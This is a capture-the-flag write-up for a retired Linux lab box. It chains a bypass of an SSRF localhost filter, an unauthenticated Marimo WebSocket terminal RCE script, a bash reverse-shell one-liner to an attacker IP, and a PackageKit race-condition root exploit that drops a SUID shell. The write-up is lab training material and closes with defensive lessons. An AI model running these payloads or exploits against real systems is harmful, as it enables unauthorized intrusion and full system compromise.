Cohort

A Medium Linux box chaining SSRF -> internal service discovery -> unauthenticated Marimo WebSocket RCE (CVE-2026-39987) -> PackageKit TOCTOU root (CVE-2026-41651).

OS
Linux
Difficulty
Medium
Retired
09 Aug 2026
Skills
ssrf, rce, cve, privesc
  • Category: Web + Linux Privilege Escalation
  • Chain: SSRF -> internal service discovery -> unauthenticated Marimo WebSocket RCE (CVE-2026-39987) -> PackageKit TOCTOU root (CVE-2026-41651, “Pack2TheRoot”)

Recon

Basic connect scan and cert inspection turn up the primary vhost:

┌──(pwn㉿pwn)-[~/HTB]
└─$ sudo nmap -Pn -sC -sV 10.129.47.105
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     nginx 1.24.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.24.0 (Ubuntu)
| ssl-cert: Subject: commonName=cohort.htb/organizationName=Cohort Analytics
| Subject Alternative Name: DNS:cohort.htb, DNS:*.cohort.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The HTTPS certificate SAN and a redirect leak cohort.htb. Add it to /etc/hosts and browse.

Enumeration - web portal & SSRF

https://cohort.htb/portal.html exposes a data-source “validate/fetch” feature that takes a URL from the client and fetches it server-side. Classic SSRF surface. Proxy through Burp and send the request to Repeater:

POST /api/validate HTTP/1.1
Host: cohort.htb
Content-Type: application/json

{"url":"http://example.com"}

Bypass the localhost filter

Edit the url field and watch for a behaviour change (error vs "ok": true):

{"url":"http://127.0.0.1/"}      <- blocked, confirms a filter exists
{"url":"http://127.1/"}          <- gets through
{"url":"http://2130706433/"}     <- decimal-encoded 127.0.0.1
{"url":"http://0x7f000001/"}     <- hex-encoded 127.0.0.1

http://127.1/ gets through - the filter does a literal string match on 127.0.0.1 and nothing smarter.

Enumerate internal ports and the internal vhost

Keep editing the url field and resending:

{"url":"http://127.1:5000/status"}   -> internal Flask/API service
{"url":"http://127.1:8888/status"}   -> a Marimo notebook, loopback only
{"url":"http://127.1:80/status"}

The :80/status response body leaks the internal vhost:

{"ok": true, "preview": "{...\"notebooks\",\"host\":\"nb-1be3782a8afd3ad5.cohort.htb\",\"target\":\"127.0.0.1:8888\"...}"}
nb-1be3782a8afd3ad5.cohort.htb  ->  127.0.0.1:8888

Key detail: nginx routes by the Host header, not by IP:port. Hitting 127.0.0.1:8888 through the SSRF gets you nginx’s fallback, not the notebook. What this vhost buys you is the ability to reach the notebook directly - bypassing SSRF entirely - once you add it to /etc/hosts.

Foothold - Marimo unauthenticated WebSocket RCE (CVE-2026-39987)

The app redirects unauthenticated requests to /auth/login, so most endpoints are locked down - but /terminal/ws isn’t, which is the vulnerability. Correlating “unauthenticated terminal WebSocket in a notebook app” against public advisories identifies CVE-2026-39987 (unauthenticated WebSocket terminal RCE, Marimo < 0.23.0): the /terminal/ws route is missing its validate_auth() check entirely.

Simplest approach: a websocket-client connection straight to /terminal/ws.

import ssl, threading, websocket

HOST = "nb-1be3782a8afd3ad5.cohort.htb"
WS_URL = "wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws"

def main():
    ws = websocket.create_connection(
        WS_URL, host=HOST, origin=f"https://{HOST}",
        sslopt={"cert_reqs": ssl.CERT_NONE}, timeout=5,
    )
    print("[+] websocket connected")
    threading.Thread(target=lambda: [print(ws.recv(), end="") for _ in iter(int, 1)], daemon=True).start()
    while True:
        cmd = input("")
        if cmd.lower() == "exit": break
        ws.send(cmd + "\r")
    ws.close()

if __name__ == "__main__":
    main()

Send id first - a real UID/GID confirms RCE:

uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
marimo
cohort

User flag is readable: cat /home/marimo/user.txt.

Upgrade to a reverse shell

nc -lvnp 4444
bash -c 'bash -i >& /dev/tcp/10.10.16.186/4444 0>&1'

Then stabilize the TTY (python3 -c 'import pty; pty.spawn("/bin/bash")', stty raw -echo; fg, export TERM=xterm).

Privilege escalation - PackageKit TOCTOU (CVE-2026-41651)

Landing as marimo (uid 1000), the box is hardened: restricted namespaces, a hardened audit daemon, and NoNewPrivileges rule out many SUID/capability tricks. SUID enumeration shows nothing custom; sudo -l requires a password.

Fingerprint the package manager:

cat /etc/os-release
dpkg-query -W -f='${Version}\n' packagekit
command -v dbus-send
command -v dpkg-deb

Result: an outdated PackageKit build with D-Bus and dpkg-deb available - the preconditions for CVE-2026-41651, “Pack2TheRoot”. Root cause is a TOCTOU race:

  1. Create a PackageKit transaction.
  2. Call InstallFiles once with the SIMULATE flag set.
  3. Before the server finishes, call InstallFiles again pointing at the real malicious package path.
  4. The later execution stage reads the overwritten path instead of the simulated one.
  5. The malicious .deb’s postinst script runs as root.

Stage the exploit, run it, and confirm the SUID bash dropped:

rm -f /tmp/.suid_bash /tmp/pk.log
nohup /tmp/exploit.bin >/tmp/pk.log 2>&1 &
sleep 12
ls -l /tmp/.suid_bash

Root

/tmp/.suid_bash -p -c 'id; cat /root/root.txt'

-p preserves the effective UID from the SUID bit - without it bash drops privileges on startup.

Lessons

  • SSRF filters that block 127.0.0.1 literally but not 127.1/decimal/hex are trivially bypassable - always try alternate representations.
  • Internal reverse-proxy routing by Host header means SSRF against an IP:port alone can return nothing even when the backend is alive; a leaked status endpoint exposed the real attack surface.
  • Unauthenticated WebSocket terminals are a recurring class of bug in notebook/dev-tool web UIs - check version banners against known CVEs.
  • Outdated PackageKit + local D-Bus access is worth checking on every Linux box during privesc enumeration.